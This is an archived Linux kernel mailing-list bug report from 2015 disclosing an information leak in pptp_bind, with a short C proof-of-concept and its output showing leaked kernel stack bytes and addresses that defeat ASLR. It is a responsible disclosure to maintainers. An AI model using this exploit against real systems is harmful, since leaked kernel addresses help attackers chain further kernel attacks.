[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAEeQi3u5VDmmaLGHAzG1NOknXo=Ap0MdXZiYPusEX3VSx8R3Jw@mail.gmail.com>
Date: Mon, 14 Dec 2015 11:38:28 +0100
From: Dmitry Vyukov <dvyukov@...il.com>
To: Dmitry Kozlov <xeb@...l.ru>, netdev@...r.kernel.org,
LKML <linux-kernel@...r.kernel.org>
Cc: syzkaller@...glegroups.com, Kostya Serebryany <kcc@...gle.com>,
Alexander Potapenko <glider@...gle.com>,
Dmitry Vyukov <dvyukov@...gle.com>, edumazet@...gle.com,
Sasha Levin <sasha.levin@...cle.com>, keescook@...gle.com,
jln@...gle.com
Subject: Information leak in pptp_bind
Hello,
The following program leak various uninit garbage including kernel
addresses and whatever is on kernel stack, in particular defeating
ASLR. The issue is in pptp_bind which does not verify sockaddr_len
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void)
{
struct sockaddr sa;
unsigned len, i, try;
int fd;
for (try = 0; try < 5; try++) {
fd = socket(AF_PPPOX, SOCK_RAW, PX_PROTO_PPTP);
if (fd == -1)
return;
memset(&sa, 0, sizeof(sa));
bind(fd, &sa, 0);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}
# ./a.out
1800020000004700c012833d00880000b002400000000000005eddc66d2b
1800020000004800408bf13a00880000b002400000000000005eddc66d2b
180002000000490080a5f13a00880000b002400000000000005eddc66d2b
1800020000004a00008ff13a00880000b002400000000000005eddc66d2b
1800020000004b008096f13a00880000b002400000000000005eddc66d2b
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Powered by blists - more mailing lists